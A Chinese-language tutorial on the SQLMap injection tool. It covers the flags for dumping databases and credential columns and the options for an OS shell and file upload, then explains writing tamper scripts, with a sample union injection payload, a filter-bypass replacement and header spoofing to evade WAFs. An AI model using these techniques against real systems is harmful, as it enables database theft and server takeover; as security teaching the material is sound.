入门渗透工具--SQLMap
SQlMap详解
支持的数据库(目前10个):MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、SQLite、Firebrid、Sybase和SAP MaxDB
1、基于布尔类型的盲注
2、基于时间的盲注
3、基于报错注入
4、联合查询注入
5、堆查询注入
入门:
sql -u URL:当参数大于两个时加双引号
sql -r 文件
例: --dbs-D * --tables-D * -T * --columns-D * -T * -C username,password --dump
--current-user
进阶:
1、--level 探测等级
2、--is-dba 当前用户是否为管理权限
3、--roles: 列出数据库管理员角色
4、--referer:HTTP referer 头
5、--sql-shell:运行自定义SQL语句
6、--os-cmd,--os-shell:运行任意操作系统命令
7、从数据库中读取文件
8、--file-write --file-dest:上传文件到数据库服务器中
SQL自带绕过脚本tamper的讲解
tamper则是对其进行扩展的一系列脚本,主要功能是对本来的payload进行特定的更改以绕过waf。
一个最小的例子:
# sqlmap/tamper/escapequotes.py
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOWEST
def dependencies():
pass
def tamper(payload, **kwargs):
return payload.replace("'", "\\'").replace('"', '\\"')
不难看出,一个最小的tamper脚本结构为priority变量定义和dependencies、tamper函数定义。
priority定义脚本的优先级,用于有多个tamper脚本的情况。
dependencies函数声明该脚本适用/不适用的范围,可以为空。
tamper是主要的函数,接受的参数为payload和**kwargs
返回值为替换后的payload。比如这个例子中就把引号替换为了\'。
0x02 详细介绍
第一部分完成了一个最简单的tamper架构,下面我们进行更详细的介绍
tamper函数
tamper是整个脚本的主体。主要用于修改原本的payload。举例来说,如果服务器上有这么几行代码
$id = trim($POST($id),'union');
$sql="SELECT * FROM users WHERE id='$id'";
而我们的payload为
-8363' union select null -- -
这里因为union被过滤掉了,将导致payload不能正常执行,那么就可以编写这样的tamper
def tamper(payload, **kwargs):
return payload.replace('union','uniounionn')
保存为replaceunion.py,存到sqlmap/tamper/下,执行的时候带上--tamper=replaceunion的参数,就可以绕过该过滤规则
dependencies函数
dependencies函数,就tamper脚本支持/不支持使用的环境进行声明,一个简单的例子如下:
# sqlmap/tamper/echarunicodeencode.py
from lib.core.common import singleTimeWarnMessage
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP or ASP.NET web applications" % os.path.basename(__file__).split(".")[0])
singleTimeWarnMessage() 用于在控制台中打印出警告信息
kwargs
在官方提供的47个tamper脚本中,kwargs参数只被使用了两次,两次都只是更改了http-header,这里以其中一个为例进行简单说明
# sqlmap/tamper/vanrish.py
def tamper(payload, **kwargs):
headers = kwargs.get("headers", {})
headers["X-originating-IP"] = "127.0.0.1"
return payload
这个脚本是为了更改X-originating-IP,以绕过WAF,另一个kwargs的使用出现于xforwardedfor.py,也是为了改header以绕过waf